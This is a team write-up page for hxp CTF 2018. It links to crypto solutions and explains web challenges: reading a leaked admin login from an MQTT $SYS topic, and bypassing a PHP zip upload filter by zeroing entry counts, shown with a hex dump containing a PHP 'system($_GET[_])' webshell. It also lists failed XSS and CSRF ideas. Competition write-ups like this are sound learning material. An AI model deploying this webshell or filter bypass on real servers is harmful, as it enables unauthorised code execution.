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<article class="markdown-body"><h1 id="hxp-ctf-2018"><a class="header-link" href="#hxp-ctf-2018"></a>hxp CTF 2018</h1>
<h2 id="crypto"><a class="header-link" href="#crypto"></a>Crypto</h2>
<h3 id="blind"><a class="header-link" href="#blind"></a>blind</h3>
<p>sasdf</p>
<p><a href="https://sasdf.cf/ctf/writeup/2018/hxp/crypto/blind/">https://sasdf.cf/ctf/writeup/2018/hxp/crypto/blind/</a></p>
<h3 id="oops2"><a class="header-link" href="#oops2"></a>oops2</h3>
<p>sasdf</p>
<p><a href="https://sasdf.cf/ctf/writeup/2018/hxp/crypto/oops/">https://sasdf.cf/ctf/writeup/2018/hxp/crypto/oops/</a></p>
<h3 id="curve12833227"><a class="header-link" href="#curve12833227"></a>curve12833227</h3>
<p>sasdf</p>
<p><a href="https://sasdf.cf/ctf/writeup/2018/hxp/crypto/curve/">https://sasdf.cf/ctf/writeup/2018/hxp/crypto/curve/</a></p>
<h3 id="blinder"><a class="header-link" href="#blinder"></a>blinder</h3>
<p>sasdf</p>
<p><a href="https://sasdf.cf/ctf/writeup/2018/hxp/crypto/blinder/">https://sasdf.cf/ctf/writeup/2018/hxp/crypto/blinder/</a></p>
<h3 id="blinder_v2"><a class="header-link" href="#blinder_v2"></a>blinder_v2</h3>
<p>sasdf</p>
<p><a href="https://sasdf.cf/ctf/writeup/2018/hxp/crypto/blinder_v2/">https://sasdf.cf/ctf/writeup/2018/hxp/crypto/blinder_v2/</a></p>
<h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="time-for-h4x0rpsch0rr?"><a class="header-link" href="#time-for-h4x0rpsch0rr?"></a>time for h4x0rpsch0rr?</h3>
<p>bookgin</p>
<p>The website uses MQTT websocket to receive the temperature.</p>
<pre class="hljs"><code>...
<span class="hljs-tag"><<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"mqtt.min.js"</span>></span><span class="undefined"></span><span class="hljs-tag"></<span class="hljs-name">script</span>></span>
<span class="hljs-tag"><<span class="hljs-name">script</span>></span><span class="actionscript">
<span class="hljs-keyword">var</span> client = mqtt.connect(<span class="hljs-string">'ws://159.69.212.240:60805'</span>)
client.subscribe(<span class="hljs-string">'hxp.io/temperature/Munich'</span>);
</span><span class="hljs-tag"></<span class="hljs-name">script</span>></span></code></pre><p>And there is admin panel, but username, password and OTP are required to login.</p>
<p>Let's take a look at the <a href="https://www.hivemq.com/blog/mqtt-essentials-part-5-mqtt-topics-best-practices/">document</a>. It does support wildcard charcaters.</p>
<blockquote>
<p>If you specify only the multi-level wildcard as a topic (#), you receive all messages that are sent to the MQTT broker.</p>
</blockquote>
<p>I try to subscribe <code>#</code>, but no other messages are received. In the document, topics beginning with <code>$</code> are not part of the subscription when you subscribe to the multi-level wildcard as a topic (#). </p>
<p>Next is to subscribe <code>$SYS/#</code>. Bingo! I receive the message from <code>$internal/admin/webcam</code> channel. The message is actually an image. Decoding this image we will get admin's username, password and OTP. Login to the admin panel and get the flag. Note that the OTP will change in a few seconds.</p>
<pre class="hljs"><code>curl <span class="hljs-string">'http://159.69.212.240:8001/admin.php'</span> <span class="hljs-_">-d</span> <span class="hljs-string">'user=iot_fag&password=I<3SecurID&otp=861729'</span> <span class="hljs-_">-s</span>D -</code></pre><h3 id="unpack0r"><a class="header-link" href="#unpack0r"></a>unpack0r</h3>
<p>bookgin</p>
<p>For the server side source code, please refer to <a href="https://graneed.hatenablog.com/entry/2018/12/09/220317">writeup by graneed</a>.</p>
<p>Basically, the server will unzip the file. However, the filename can only contain a-z. We cannot directly upload a webshell or <code>.htaccess</code>. </p>
<p>The most notable thing here is the server uses php zip to check the filename, but it uses linux <code>unzip</code> to decompress the file. It's possible we can take advantage of this inconsistency. In the source, it uses php <code>zip->numFiles</code> and iterates each file to check the filename. What if we can make <code>zip->numFiles</code> return a incorrect number? So the plan is</p>
<ol class="list">
<li>zip a webshell <code>shell.php</code></li>
<li>Make <code>zip->numFiles</code> return 0.</li>
<li>The zip file can still be decompressed by linux <code>unzip</code>.</li>
</ol>
<p>Here is a <a href="https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html">great document</a> describing the ZIP file format. in the end of central directory record, there are two attributes <code>Disk entry</code> and <code>Total entry</code>. Just patch number to zero (0x00) and we can upload the webshell.</p>
<pre class="hljs"><code>$ xxd a.zip
<span class="hljs-number">00000000</span>: <span class="hljs-number">504</span>b <span class="hljs-number">0304</span> <span class="hljs-number">0</span>a00 <span class="hljs-number">0000</span> <span class="hljs-number">0000</span> <span class="hljs-number">765</span>a <span class="hljs-number">884</span>d <span class="hljs-number">256</span>d PK........vZ.M%m
<span class="hljs-number">00000010</span>: ec8c <span class="hljs-number">1800</span> <span class="hljs-number">0000</span> <span class="hljs-number">1800</span> <span class="hljs-number">0000</span> <span class="hljs-number">0900</span> <span class="hljs-number">1</span>c00 <span class="hljs-number">6161</span> ..............aa
<span class="hljs-number">00000020</span>: <span class="hljs-number">6161</span> <span class="hljs-number">612</span>e <span class="hljs-number">7068</span> <span class="hljs-number">7055</span> <span class="hljs-number">5409</span> <span class="hljs-number">0003</span> <span class="hljs-number">20</span>ef <span class="hljs-number">0</span>b5c aaa.phpUT... ..\
<span class="hljs-number">00000030</span>: <span class="hljs-number">20</span>ef <span class="hljs-number">0</span>b5c <span class="hljs-number">7578</span> <span class="hljs-number">0</span>b00 <span class="hljs-number">0104</span> e803 <span class="hljs-number">0000</span> <span class="hljs-number">04e8</span> ..\ux..........
<span class="hljs-number">00000040</span>: <span class="hljs-number">0300</span> <span class="hljs-number">003</span>c <span class="hljs-number">3</span>f70 <span class="hljs-number">6870</span> <span class="hljs-number">0</span>a73 <span class="hljs-number">7973</span> <span class="hljs-number">7465</span> <span class="hljs-number">6</span>d28 ...<?php.<span class="hljs-keyword">system</span>(
<span class="hljs-number">00000050</span>: <span class="hljs-number">245</span>f <span class="hljs-number">4745</span> <span class="hljs-number">545</span>b <span class="hljs-number">5</span>f5d <span class="hljs-number">293</span>b <span class="hljs-number">0</span>a50 <span class="hljs-number">4</span>b01 <span class="hljs-number">021</span>e $_GET[_]);.PK...
<span class="hljs-number">00000060</span>: <span class="hljs-number">030</span>a <span class="hljs-number">0000</span> <span class="hljs-number">0000</span> <span class="hljs-number">0076</span> <span class="hljs-number">5</span>a88 <span class="hljs-number">4</span>d25 <span class="hljs-number">6</span>dec <span class="hljs-number">8</span>c18 .......vZ.M%m...
<span class="hljs-number">00000070</span>: <span class="hljs-number">0000</span> <span class="hljs-number">0018</span> <span class="hljs-number">0000</span> <span class="hljs-number">0009</span> <span class="hljs-number">0018</span> <span class="hljs-number">0000</span> <span class="hljs-number">0000</span> <span class="hljs-number">0001</span> ................
<span class="hljs-number">00000080</span>: <span class="hljs-number">0000</span> <span class="hljs-number">00</span>a4 <span class="hljs-number">8100</span> <span class="hljs-number">0000</span> <span class="hljs-number">0061</span> <span class="hljs-number">6161</span> <span class="hljs-number">6161</span> <span class="hljs-number">2e70</span> .........aaaaa.p
<span class="hljs-number">00000090</span>: <span class="hljs-number">6870</span> <span class="hljs-number">5554</span> <span class="hljs-number">0500</span> <span class="hljs-number">0320</span> ef0b <span class="hljs-number">5</span>c75 <span class="hljs-number">780</span>b <span class="hljs-number">0001</span> hpUT... ..\ux...
<span class="hljs-number">000000</span>a0: <span class="hljs-number">04e8</span> <span class="hljs-number">0300</span> <span class="hljs-number">0004</span> e803 <span class="hljs-number">0000</span> <span class="hljs-number">504</span>b <span class="hljs-number">0506</span> <span class="hljs-number">0000</span> ..........PK....
<span class="hljs-number">000000</span>b0: <span class="hljs-number">0000</span> <span class="hljs-number">0000</span> <span class="hljs-number">0000</span> <span class="hljs-number">4</span>f00 <span class="hljs-number">0000</span> <span class="hljs-number">5</span>b00 <span class="hljs-number">0000</span> <span class="hljs-number">0000</span> ......O...[.....</code></pre><h4 id="failed-attempts"><a class="header-link" href="#failed-attempts"></a>Failed Attempts</h4>
<ul class="list">
<li>zip a symbolic link<ul class="list">
<li>The server side seems to block symbolic links. It will return 403 Forbidden when trying to access symbolic links.</li>
</ul>
</li>
<li>zip a large number of files<ul class="list">
<li>There seems to be <a href="http://php.net/manual/en/class.ziparchive.php#116937">a bug</a> when ziping more than 65,535 files. However I cannot reproduce this in PHP 7.2.</li>
</ul>
</li>
<li>Prepend local file header and data<ul class="list">
<li>The PHP will fail to parse the zip file</li>
</ul>
</li>
</ul>
<h3 id="µblog"><a class="header-link" href="#µblog"></a>µblog</h3>
<p>unsolved, bookgin</p>
<p>Please refer to <a href="https://github.com/lbherrera/writeups/tree/master/hxp-2018/blog">herrera's writeup</a>. His writeup is very impressive! Also, full credit to the author of the challenge @<em>0xbb</em>. This is definitely one of the best web challenge I've seen this year.</p>
<h4 id="failled-attempts"><a class="header-link" href="#failled-attempts"></a>Failled Attempts</h4>
<ul class="list">
<li>XSS in <code>$(location.hash)</code><ul class="list">
<li><a href="https://bugs.jquery.com/ticket/9521">The bug</a> is fixed in 2012.</li>
<li>Nowadays the lateest browsers will encode the string in <code>location.hash</code></li>
</ul>
</li>
<li>Leak url thorugh referer<ul class="list">
<li>It's totally useless because admin will never visit <code>/?id=ADMIN_ID</code></li>
<li>In Chrome 70 there is <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=884505&can=1&q=Referrer%20Policy&colspec=ID%20Pri%20M%20Stars%20ReleaseBlock%20Component%20Status%20Owner%20Summary%20OS%20Modified">bug</a> used to bypass referer policy, but we cannot control the html attributes.</li>
</ul>
</li>
<li>img CSRF<ul class="list">
<li>However, I can only send GET request in img-src. Nothing can be exploited.</li>
</ul>
</li>
<li><a href="https://github.com/google/security-research-pocs/tree/master/script-gadgets">script gadgets</a><ul class="list">
<li>We still need somewhere we can inject our XSS, but the page escapes all the html special characters.</li>
</ul>
</li>
</ul>
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